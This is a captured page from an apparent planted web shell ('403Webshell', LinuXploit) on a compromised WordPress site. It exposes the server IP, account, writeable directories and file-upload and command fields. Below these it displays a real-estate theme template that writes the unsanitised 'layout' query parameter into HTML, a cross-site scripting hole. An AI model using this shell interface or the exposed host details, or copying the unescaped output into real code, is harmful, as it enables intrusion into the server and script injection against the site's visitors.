403Webshell
Server IP : 217.160.0.251  /  Your IP : 216.73.216.183
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : u94981163 ( 8991765)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /homepages/15/d754908516/htdocs/wp-content/themes/est-project/templates/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /homepages/15/d754908516/htdocs/wp-content/themes/est-project/templates/my-listing.php
<?php
global $wp;
if( !empty( $_GET['layout'] ) ) {
    $layout = $_GET['layout'];
}
else{
    $layout = $atts['layout'];
}

?>
<?php if ( $properties->have_posts() ) : ?>

	<?php do_action( "es_shortcode_before_" . $this->get_shortcode_name() . "_loop" ); ?>

    <div class="es-wrap js-posts-wrapper <?php echo get_option( 'template' ); ?>">
        <div class="es-wrap-header">
            <ul class="es-view-option">
                <li><a href="<?php echo home_url( add_query_arg( 'layout', '3_col', $wp->request ) ); ?>" <?php if($layout == '3_col'):?>class="active"<?php endif;?>><i class="fa fa-th-large" aria-hidden="true"></i></a></li>
                <li><a href="<?php echo home_url( add_query_arg( 'layout', 'list', $wp->request ) ); ?>" <?php if($layout == 'list'):?>class="active"<?php endif;?>><i class="fa fa-list" aria-hidden="true"></i></a></li>
                <li><a href="<?php echo home_url( add_query_arg( 'layout', 'map', $wp->request ) ); ?>" <?php if($layout == 'map'):?>class="active"<?php endif;?>><i class="fa fa-map-marker" aria-hidden="true"></i></a></li>
            </ul>
            <?php if ( ! empty( $atts['show_filter'] ) ) : ?>
                <?php do_action( 'es_archive_sorting_dropdown' ); ?>
            <?php endif; ?>
        </div>
		<?php if ( empty( $_GET['layout'] ) || $_GET['layout'] != 'map' ): ?>
            <div class="es-listing js-archive es-layout-<?php echo $layout; ?>">
				<?php while ( $properties->have_posts() ) : $properties->the_post(); ?>
					<?php load_template( ES_PROJECT_TEMPLATES_DIR . 'content-archive.php', FALSE ); ?>
				<?php endwhile; ?>
            </div>
            <?php if( function_exists('es_the_pagination' ) ):?>
			    <?php echo es_the_pagination( $properties ); ?>
            <?php else:?>
				<?php the_posts_pagination( array(
					'prev_next'          => __( 'Previous', 'es-project' ),
					'show_all'           => false,
					'end_size'           => 2,
					'mid_size'           => 2,
					'screen_reader_text' => ' ',
					'type'               => 'list'
				) ); ?>
            <?php endif;?>
		<?php else:
			$map = new Es_Property_Map_Shortcode();
			$properties->query['posts_per_page'] = $properties->found_posts;
			echo $map->property_loop( $properties->query, array() );?>
		<?php endif; ?>
    </div>
    <?php do_action( 'es_shortcode_list_after' ); ?>
    <?php do_action( "es_shortcode_after_" . $this->get_shortcode_name() . "_loop" ); ?>
    <?php wp_reset_postdata(); ?>
<?php else: ?>
    <?php _e( 'No hay resultados.', 'es-plugin' ); ?>
<?php endif;

Youez - 2016 - github.com/yon3zu
LinuXploit